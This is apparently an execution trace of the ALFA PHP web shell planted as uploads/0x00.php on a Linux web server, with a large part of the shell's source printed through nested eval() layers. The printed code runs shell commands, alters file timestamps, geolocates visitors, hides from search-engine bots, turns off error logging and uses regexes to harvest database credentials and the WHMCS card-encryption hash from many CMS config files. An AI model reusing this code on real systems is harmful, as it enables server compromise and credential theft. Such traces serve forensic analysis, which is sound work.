$perms)){\r\n\t\t\techo("done");\r\n\t\t}else{\r\n\t\t\techo("no");\r\n\t\t}\r\n\t\treturn;\r\n\t}\r\n\tif($action == "rename" || $action == "move"){\r\n\t\t$alfa1_decoded = $_POST[\'alfa1\'];\r\n\t\tif($chdir_fals){\r\n\t\t\t$_POST[\'alfa1\'] = $_POST["c"]."/".$_POST["alfa1"];\r\n\t\t}\r\n\t\t$_POST[\'alfa1\'] = trim($_POST[\'alfa1\']);\r\n\t\t$alfa1_escape = addslashes($_POST["alfa1"]);\r\n\t\tif($_POST["alfa3"] == "rename"){\r\n\t\t\t$_POST[\'alfa2\'] = basename($_POST[\'alfa2\']);\r\n\t\t}\r\n\t\tif(!empty($_POST[\'alfa2\'])){\r\n\t\t\t$cmd_rename = false;\r\n\t\t\tif($chdir_fals&&$alfa_canruncmd){\r\n\t\t\t\tif(_alfa_is_writable($_POST[\'alfa1\'])){\r\n\t\t\t\t\t$cmd_rename = true;\r\n\t\t\t\t\t$alfa1_escape = addslashes($alfa1_decoded);\r\n\t\t\t\t\talfaEx("cd \'".addslashes($_POST[\'c\'])."\';mv \'".$alfa1_escape."\' \'".addslashes($_POST[\'alfa2\'])."\'");\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif(!file_exists($_POST[\'alfa2\'])){\r\n\t\t\t\tif(@rename($_POST[\'alfa1\'], $_POST[\'alfa2\'])||$cmd_rename){\r\n\t\t\t\t\techo "done";\r\n\t\t\t\t}else{\r\n\t\t\t\t\techo "no";\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\techo "no";\r\n\t\t\t}\r\n\t\t}\r\n\t}elseif($action == "copy"){\r\n\t\tif(is_dir($_POST["alfa1"])){\r\n\t\t\t$dir = str_replace(\'//\', \'/\', $_POST["alfa1"]);\r\n\t\t\t$dir = explode(\'/\', $dir);\r\n\t\t\tif(empty($dir[count($dir) - 1])){\r\n\t\t\t\t$name = $dir[count($dir) - 2];\r\n\t\t\t}else{\r\n\t\t\t\t$name = $dir[count($dir) - 1];\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\t$name = basename($_POST["alfa1"]);\r\n\t\t}\r\n\t\t$dir = dirname($_POST["alfa1"]);\r\n\t\tif($dir == "."){\r\n\t\t\t$dir = $_POST["c"]."/";\r\n\t\t}\r\n\t\tif(is_file($_POST["alfa1"])){\r\n\t\t\t@copy($_POST["alfa1"], $_POST["alfa2"]);\r\n\t\t\techo("done");\r\n\t\t}elseif(is_dir($_POST["alfa1"])){\r\n\t\t\tif(!is_dir($_POST["alfa2"])){\r\n\t\t\t\tmkdir($_POST["alfa2"], 0755, true);\r\n\t\t\t}\r\n\t\t\tcopy_paste($dir, $name , $_POST["alfa2"] . "/");\r\n\t\t\techo("done");\r\n\t\t}\r\n\t}elseif($action == "modify"){\r\n\t\tif( !empty($_POST[\'alfa1\']) ) {\r\n\t\t\t$time = strtotime($_POST[\'alfa1\']);\r\n\t\t\tif($time){\r\n\t\t\t\t$touched = false;\r\n\t\t\t\tif($chdir_fals&&$alfa_canruncmd){\r\n\t\t\t\t\talfaEx("cd \'".addslashes($_POST["c"])."\';touch -d \'".htmlspecialchars(addslashes($_POST[\'alfa1\']))."\' \'".addslashes($_POST[\'alfa2\'])."\'");\r\n\t\t\t\t\t$touched = true;\r\n\t\t\t\t}\r\n\t\t\t\tif(!@touch($_POST[\'alfa2\'],$time,$time)&&!$touched){\r\n\t\t\t\t\techo \'no\';\r\n\t\t\t\t}else{\r\n\t\t\t\t\techo \'ok\';\r\n\t\t\t\t}\r\n\t\t\t} else{\r\n\t\t\t\t echo \'badtime\';\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n}\r\nfunction alfaget_flags(){\r\n\t$flags = array();\r\n\tif(function_exists("curl_version")){\r\n\t\t$curl = new AlfaCURL();\r\n\t\t$server_addr = (!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER[\'SERVER_NAME\']):\'????\'):@$_SERVER["SERVER_ADDR"]);\r\n\t\t$flag = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $server_addr);\r\n\t\t$flag2 = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $_SERVER["REMOTE_ADDR"]);\r\n\t\tif(strpos($flag2, "geoplugin") != false){\r\n\t\t\t$flag = json_decode($flag, true);\r\n\t\t\t$flag2 = json_decode($flag2, true);\r\n\t\t\tif(!empty($flag[\'geoplugin_countryCode\'])){\r\n\t\t\t\t$flags["server"]["name"] = $flag[\'geoplugin_countryName\'];\r\n\t\t\t\t$flags["server"]["code"] = $flag[\'geoplugin_countryCode\'];\r\n\t\t\t}\r\n\t\t\tif(!empty($flag2[\'geoplugin_countryCode\'])){\r\n\t\t\t\t$flags["client"]["name"] = $flag2[\'geoplugin_countryName\'];\r\n\t\t\t\t$flags["client"]["code"] = $flag2[\'geoplugin_countryCode\'];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\techo json_encode($flags);\r\n}\r\nfunction alfaGetConfig(){\r\n$cms = $_POST[\'alfa1\'];\r\n$path = trim($_POST[\'alfa2\']);\r\n$config = array(\r\n\'wp\'=>array(\'file\'=>\'/wp-config.php\',\r\n\'host\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_HOST(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\r\n\'dbname\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_NAME(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\r\n\'dbuser\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_USER(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\r\n\'dbpw\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_PASSWORD(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\r\n\'prefix\'=>array("/table_prefix[ ]{0,}=[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,};/",1)\r\n),\r\n\'drupal\'=>array(\'file\'=>\'/config.php\',\r\n\'host\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_HOSTNAME(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\r\n\'dbname\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_DATABASE(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\r\n\'dbuser\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_USERNAME(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\r\n\'dbpw\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_PASSWORD(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1),\r\n\'prefix\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_PREFIX(?:\'|\\")[ ]{0,},[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,}\\)[ ]{0,};/",1)\r\n),\r\n\'drupal2\'=>array(\'file\'=>\'/sites/default/settings.php\',\r\n\'host\'=>array("/(?:\'|\\")host(?:\'|\\")[ ]{0,}=>[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,},/",1),\r\n\'dbname\'=>array("/(?:\'|\\")database(?:\'|\\")[ ]{0,}=>[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,},/",1),\r\n\'dbuser\'=>array("/(?:\'|\\")username(?:\'|\\")[ ]{0,}=>[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,},/",1),\r\n\'dbpw\'=>array("/(?:\'|\\")password(?:\'|\\")[ ]{0,}=>[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,},/",1),\r\n\'prefix\'=>array("/(?:\'|\\")prefix(?:\'|\\")[ ]{0,}=>[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,},/",1)\r\n),\r\n\'vb\'=>array(\'file\'=>\'/includes/config.php\',\r\n\'host\'=>array("/config\\[(?:\'|\\")MasterServer(?:\'|\\")\\]\\[(?:\'|\\")servername(?:\'|\\")\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,};/",3),\r\n\'dbuser\'=>array("/config\\[(?:\'|\\")MasterServer(?:\'|\\")\\]\\[(?:\'|\\")username(?:\'|\\")\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,};/",3),\r\n\'dbname\'=>array("/config\\[(?:\'|\\")Database(?:\'|\\")\\]\\[(?:\'|\\")dbname(?:\'|\\")\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,};/",3),\r\n\'dbpw\'=>array("/config\\[(?:\'|\\")MasterServer(?:\'|\\")\\]\\[(?:\'|\\")password(?:\'|\\")\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,};/",3),\r\n\'prefix\'=>array("/config\\[(?:\'|\\")Database(?:\'|\\")\\]\\[(?:\'|\\")tableprefix(?:\'|\\")\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\")[ ]{0,};/",3)\r\n),\r\n\'phpnuke\'=>array(\'file\'=>\'/config.php\',\r\n\'host\'=>array(\'/dbhost(\\s+)=(\\s+)(?:\\\'|")(.*?)(?:\\\'|");/\',3),\r\n\'dbname\'=>array(\'/dbname(\\s+)=(\\s+)(?:\\\'|")(.*?)(?:\\\'|");/\',3),\r\n\'dbuser\'=>array(\'/dbuname(\\s+)=(\\s+)(?:\\\'|")(.*?)(?:\\\'|");/\',3),\r\n\'dbpw\'=>array(\'/dbpass(\\s+)=(\\s+)(?:\\\'|")(.*?)(?:\\\'|");/\',3),\r\n\'prefix\'=>array(\'/prefix(\\s+)=(\\s+)(?:\\\'|")(.*?)(?:\\\'|");/\',3)\r\n),\r\n\'smf\'=>array(\'file\'=>\'/Settings.php\',\r\n\'host\'=>array("/db_server(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbname\'=>array("/db_name(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbuser\'=>array("/db_user(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbpw\'=>array("/db_passwd(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'prefix\'=>array("/db_prefix(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\r\n),\r\n\'whmcs\'=>array(\'file\'=>\'/configuration.php\',\r\n\'host\'=>array("/db_host(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbname\'=>array("/db_name(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbuser\'=>array("/db_username(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbpw\'=>array("/db_password(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'cc_encryption_hash\'=>array("/cc_encryption_hash(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\r\n),\r\n\'joomla\'=>array(\'file\'=>\'/configuration.php\',\r\n\'host\'=>array("/\\\\\\$host(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbname\'=>array("/\\\\\\$db(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbuser\'=>array("/\\\\\\$user(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbpw\'=>array("/\\\\\\$password(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'prefix\'=>array("/\\\\\\$dbprefix(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\r\n),\r\n\'phpbb\'=>array(\'file\'=>\'/config.php\',\r\n\'host\'=>array("/dbhost(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbname\'=>array("/dbname(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbuser\'=>array("/dbuser(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbpw\'=>array("/dbpasswd(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'prefix\'=>array("/table_prefix(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\r\n),\r\n\'mybb\'=>array(\'file\'=>\'/inc/config.php\',\r\n\'host\'=>array("/config\\[\'database\'\\]\\[\'hostname\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbname\'=>array("/config\\[\'database\'\\]\\[\'database\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbuser\'=>array("/config\\[\'database\'\\]\\[\'username\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbpw\'=>array("/config\\[\'database\'\\]\\[\'password\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'prefix\'=>array("/config\\[\'database\'\\]\\[\'table_prefix\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\r\n)\r\n);\r\nif($cms == "drupal"){\r\n\t$file = $config[$cms][\'file\'];\r\n\t$file=$path.$file;\r\n\tif(@is_file($file)||_alfa_is_dir($file,"-e")){\r\n\t}else{\r\n\t\t$cms = \'drupal2\';\r\n\t}\r\n}\r\nif($cms == "vb"){\r\n\t$file = $config[$cms][\'file\'];\r\n\t$file=$path.$file;\r\n\tif(@is_file($file)||_alfa_is_dir($file,"-e")){\r\n\t}else{\r\n\t\t$path .= \'/core\';\r\n\t}\r\n}\r\n$data = array();\r\n$srch_host = $config[$cms][\'host\'][0];\r\n$srch_user = $config[$cms][\'dbuser\'][0];\r\n$srch_name = $config[$cms][\'dbname\'][0];\r\n$srch_pw = $config[$cms][\'dbpw\'][0];\r\n$prefix = $config[$cms][\'prefix\'][0];\r\n$file = $config[$cms][\'file\'];\r\n$chost = $config[$cms][\'host\'][1];\r\n$cuser = $config[$cms][\'dbuser\'][1];\r\n$cname = $config[$cms][\'dbname\'][1];\r\n$cpw = $config[$cms][\'dbpw\'][1];\r\n$cprefix = $config[$cms][\'prefix\'][1];\r\nif(@is_dir($path)||_alfa_is_dir($path)){\r\n$file=$path.$file;\r\n}elseif(@is_file($path)||_alfa_is_dir($path,"-e")){\r\n$file=$path;\r\n}else{\r\nreturn false;\r\n}\r\n$file = __read_file($file);\r\nif($cms == "drupal2"){\r\n\t$file = preg_replace("/\\@code(.*?)\\@endcode/s", "", $file);\r\n}elseif($cms == "vb"){\r\n\t$file = preg_replace("/right of the(.*?)BAD!/s", "", $file);\r\n}\r\nif(preg_match($srch_host, $file, $mach)){\r\n$data[\'host\'] = $mach[$chost];\r\n}\r\nif(preg_match($srch_user, $file, $mach)){\r\n$data[\'user\'] = $mach[$cuser];\r\n}\r\nif(preg_match($srch_name, $file, $mach)){\r\n$data[\'dbname\'] = $mach[$cname];\r\n}\r\nif(preg_match($srch_pw, $file, $mach)){\r\n$data[\'password\'] = $mach[$cpw];\r\n}\r\nif(isset($prefix)){\r\nif(preg_match($prefix, $file, $mach)){\r\n$data[\'prefix\'] = $mach[$cprefix];\r\n}\r\n}\r\nif($cms==\'whmcs\'){\r\nif(preg_match($config[$cms][\'cc_encryption_hash\'][0], $file, $mach)){\r\n$data[\'cc_encryption_hash\'] = $mach[3];\r\n}\r\n}\r\necho json_encode($data);\r\n}\r\nif(empty($_POST[\'a\']))\r\nif(isset($default_action) && function_exists(\'alfa\' . $default_action))\r\n$_POST[\'a\'] = $default_action;\r\nelse\r\n$_POST[\'a\'] = \'FilesMan2\';//\'FilesMan\';\r\nif(!empty($_POST[\'a\']) && function_exists(\'alfa\' . $_POST[\'a\']))\r\ncall_user_func(\'alfa\' . $_POST[\'a\']);\r\nexit;\r\n/*\r\n#Persian Gulf For Ever\r\n#skype : sole.sad\r\n#skype : ehsan.invisible\r\n*/\r\n?>\r\n' /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 5 0
4 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2 $userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
5 27 0 0.056205 3764008 implode 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2 2 '|' [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
5 27 1 0.056234 3764168
5 27 R 'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider'
5 28 0 0.056254 3764104 preg_match 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2 2 '/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider/i' 'python-requests/2.25.1'
5 28 1 0.056275 3764168
5 28 R 0
5 29 0 0.056291 3764008 define 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 9 2 '__ALFA_VERSION__' '4.1'
5 29 1 0.056310 3764112
5 29 R TRUE
5 30 0 0.056323 3764040 define 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 10 2 '__ALFA_UPDATE__' '2'
5 30 1 0.056340 3764144
5 30 R TRUE
5 31 0 0.056353 3764072 define 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 11 2 '__ALFA_CODE_NAME__' 'Tesla'
5 31 1 0.056370 3764176
5 31 R TRUE
5 32 0 0.056382 3764104 define 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 12 2 '__ALFA_DATA_FOLDER__' 'ALFA_DATA'
5 32 1 0.056399 3764208
5 32 R TRUE
5 33 0 0.056413 3764136 define 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 13 2 '__ALFA_POST_ENCRYPTION__' FALSE
5 33 1 0.056430 3764240
5 33 R TRUE
5 34 0 0.056443 3764168 define 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 14 2 '__ALFA_SECRET_KEY__' ''
5 34 1 0.056460 3764272
5 34 R TRUE
4 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 15 GLOBALS['__ALFA_COLOR__'] = ['shell_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'header_vars' => '#27979B', 'header_values' => '#67ABDF', 'header_on' => '#00FF00', 'header_off' => '#ff0000', 'header_none' => '#00FF00', 'home_shell' => '#ff0000', 'home_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'back_shell' => '#efbe73', 'back_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_pwd' => '#00FF00', 'header_pwd:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_drive' => '#00FF00', 'header_drive:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_show_all' => '#00FF00', 'disable_functions' => '#ff0000', 'footer_text' => '#27979B', 'menu_options' => '#27979B', 'menu_options:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'options_list' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'options_list:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'options_list_header' => ['key_color' => '#59cc33', 'multi_selector' => [...]], 'options_list_text' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'Alfa+' => ['key_color' => '#06ff0f', 'multi_selector' => [...]], 'hidden_shell_text' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'hidden_shell_version' => '#ff0000', 'shell_name' => '#FF0000', 'main_row:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'main_header' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_name' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_size' => '#67ABDF', 'main_modify' => '#67ABDF', 'main_owner_group' => '#67ABDF', 'main_green_perm' => '#25ff00', 'main_red_perm' => '#FF0000', 'main_white_perm' => '#FFFFFF', 'beetween_perms' => '#FFFFFF', 'main_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'minimize_editor_background' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'minimize_editor_text' => ['key_color' => '#f5deb3', 'multi_selector' => [...]], 'editor_border' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'editor_background' => ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => [...]], 'editor_header_background' => ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => [...]], 'editor_header_text' => ['key_color' => '#00ff7f', 'multi_selector' => [...]], 'editor_header_button' => ['key_color' => '#1d5673', 'multi_selector' => [...]], 'editor_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_vars' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_values' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'editor_history_header' => ['key_color' => '#14ff07', 'multi_selector' => [...]], 'editor_history_list' => ['key_color' => '#03b3a3', 'multi_selector' => [...]], 'editor_history_selected_file' => ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => [...]], 'editor_history_file:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'input_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'input_box_text' => ['key_color' => '#999999', 'multi_selector' => [...]], 'input_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'select_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'select_box_text' => ['key_color' => '#FFFFEE', 'multi_selector' => [...]], 'select_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button_border' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'outputs_text' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'outputs_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_background' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_text_right' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'uploader_text_left' => ['key_color' => '#25ff00', 'multi_selector' => [...]], 'uploader:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'uploader_progress_bar' => ['key_color' => '#00ff00', 'multi_selector' => [...]], 'mysql_tables' => '#00FF00', 'mysql_table_count' => '#67ABDF', 'copyright' => '#dfff00', 'scrollbar' => ['key_color' => '#1e82b5', 'multi_selector' => [...]], 'scrollbar_background' => ['key_color' => '#000115', 'multi_selector' => [...]]]
5 35 0 0.056600 3764200 preg_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 341 3 '!\\(\\d+\\)\\s.*!' '' '/var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()\'d code(5) : eval()\'d code'
5 35 1 0.056621 3764392
5 35 R '/var/www/html/uploads/0x00.php'
5 36 0 0.056636 3764296 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 341 1 '/var/www/html/uploads/0x00.php'
5 36 1 0.056652 3764328
5 36 R '/var/www/html/uploads/0x00.php'
5 37 0 0.056667 3764296 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 341 3 '\\' '/' '/var/www/html/uploads/0x00.php'
5 37 1 0.056684 3764392
5 37 R '/var/www/html/uploads/0x00.php'
4 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 341 GLOBALS['__file_path'] = '/var/www/html/uploads/0x00.php'
4 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 342 $config = ['AlfaUser' => 'admin', 'AlfaPass' => '3b0df409b12f543e73094dca34b1d6bb', 'AlfaProtectShell' => '0', 'AlfaLoginPage' => '403']
5 38 0 0.056736 3764672 session_write_close 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 344 0
5 38 1 0.056751 3764672
5 38 R FALSE
5 39 0 0.056765 3764672 ignore_user_abort 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 345 1 TRUE
5 39 1 0.056782 3764736
5 39 R 0
5 40 0 0.056795 3764704 set_time_limit 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 346 1 0
5 40 1 0.056814 3764736
5 40 R FALSE
5 41 0 0.056828 3764704 ini_set 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 347 2 'memory_limit' '-1'
5 41 1 0.056844 3764808
5 41 R '-1'
5 42 0 0.056857 3764704 ini_set 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 348 2 'upload_max_filesize' '9999m'
5 42 1 0.056874 3764776
5 42 R FALSE
5 43 0 0.056889 3764704 error_reporting 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 671 1 32759
5 43 1 0.056905 3764776
5 43 R 0
5 44 0 0.056917 3764736 ini_set 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 672 2 'error_log' NULL
5 44 1 0.056933 3764808
5 44 R ''
5 45 0 0.056946 3764736 ini_set 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 673 2 'log_errors' 0
5 45 1 0.056961 3764808
5 45 R '1'
5 46 0 0.056974 3764736 ini_set 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 674 2 'max_execution_time' 0
5 46 1 0.056989 3764776
5 46 R '0'
5 47 0 0.057002 3764704 ini_set 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 675 2 'magic_quotes_runtime' 0
5 47 1 0.057018 3764776
5 47 R FALSE
5 48 0 0.057031 3764704 set_time_limit 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 676 1 0
5 48 1 0.057046 3764768
5 48 R FALSE
5 49 0 0.057061 3764736 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 677 1 'set_magic_quotes_runtime'
5 49 1 0.057077 3764776
5 49 R FALSE
4 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 693 $default_action = 'FilesMan2'
4 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 694 $default_use_ajax = TRUE
4 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 695 $default_charset = 'Windows-1251'
5 50 0 0.057154 3764736 substr 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 696 3 'Linux' 0 3
5 50 1 0.057173 3764864
5 50 R 'Lin'
5 51 0 0.057186 3764768 strtolower 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 696 1 'Lin'
5 51 1 0.057202 3764832
5 51 R 'lin'
4 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 699 GLOBALS['sys'] = 'unix'
5 52 0 0.057230 3764736 alfaGetCwd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 700 0
6 53 0 0.057245 3764736 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 555 1 'getcwd'
6 53 1 0.057260 3764776
6 53 R TRUE
6 54 0 0.057272 3764736 getcwd 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 556 0
6 54 1 0.057290 3764784
6 54 R '/var/www/html/uploads'
5 52 1 0.057305 3764784
5 52 R '/var/www/html/uploads'
4 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 700 GLOBALS['home_cwd'] = '/var/www/html/uploads'
